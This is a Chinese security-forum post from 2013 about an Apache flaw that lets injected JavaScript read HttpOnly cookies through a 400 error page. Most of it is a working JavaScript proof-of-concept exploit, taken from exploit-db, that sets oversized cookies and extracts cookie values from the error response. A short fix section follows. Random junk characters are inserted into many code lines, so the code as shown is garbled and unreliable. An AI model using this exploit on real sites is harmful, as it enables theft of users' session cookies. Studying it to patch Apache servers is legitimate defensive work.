中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

---

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

" R4 g5 i* u6 \2 a7 N用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
: W4 g) I. z+ o* V$ |
& ~! U3 g, y/ u7 x, @# ~
// http://www.exploit-db.com/exploits/18442/
" r+ b7 p+ J# o; D: b( b( R$ zfunction setCookies (good) {
: g; d6 y6 }4 k8 l1 B// Construct string for cookie value
var str = "";
$ K9 n; H3 ^) j# f, j: Sfor (var i=0; i< 819; i++) {
6 G3 @5 [' X! D: x) istr += "x";
}
3 k% L: o" h/ |! c4 M1 f$ q// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
$ K! R" h, m) C- A% V+ o! |+ D}
) l5 z' q1 [) _1 W% X; x: R// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
; A7 a: A" T: [- I3 a- D- Ofunction makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
0 [% a; k* Z; X$ w" L. u// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
9 |# \0 C2 s, ^5 S9 {! f1 {// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
, r2 L: Z% U( v/ j# u// Remove Cookie: prefix
$ k; g4 Y# M$ P' W5 ?0 a/ a  q& ycontent = content[1].replace("Cookie: ", "");
  h9 f, m" Z; _& R$ h8 Evar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
1 L' C5 _5 S  {for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
- n6 Q7 I" h' g; \6 f" fcookie_dict[s_c[0]] = s_c[1];
}
. W3 R; @/ ^; x9 q}
// Unset malicious cookies
setCookies(true);
  {* r' ~1 B5 I0 r  k3 |7 Kalert(JSON.stringify(cookie_dict));
/ U' |! n3 z% [}
& n! |  f" `! g8 \}
- d7 B  ?, T8 O) P8 ^// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
9 _4 j- g3 @) Y$ rxhr.open("GET", "/", true);
& C" K% t0 W0 I0 x: a7 gxhr.send(null);
}
8 z. v+ O2 H7 Q- V: A3 k+ CmakeRequest();

你就能看见华丽丽的400错误包含着cookie信息。

) [6 r4 s# Q5 u# F  y下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：

* j8 d% E; }: |/ YApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
6 _' e- O& q& O' T! s# \+ A2 s
In the event of a problem or error, Apachecan be configured to do one of four things,
5 I6 l" t  N( g
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
' Y9 a9 G) Q% Y8 N# U4. redirect to an external URL to handle theproblem/error转向一个外部URL

( |- V4 L8 B: R经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
. C; N! G4 \/ Q" d
* }! E8 ^+ A$ D& r8 O  y$ R1 kApache配置：

: _4 f# {1 G( H# N* }5 B" PErrorDocument400 " security test"
: a# x! |3 E* p6 I  C. k
当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html
; X& i4 N, T7 [

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2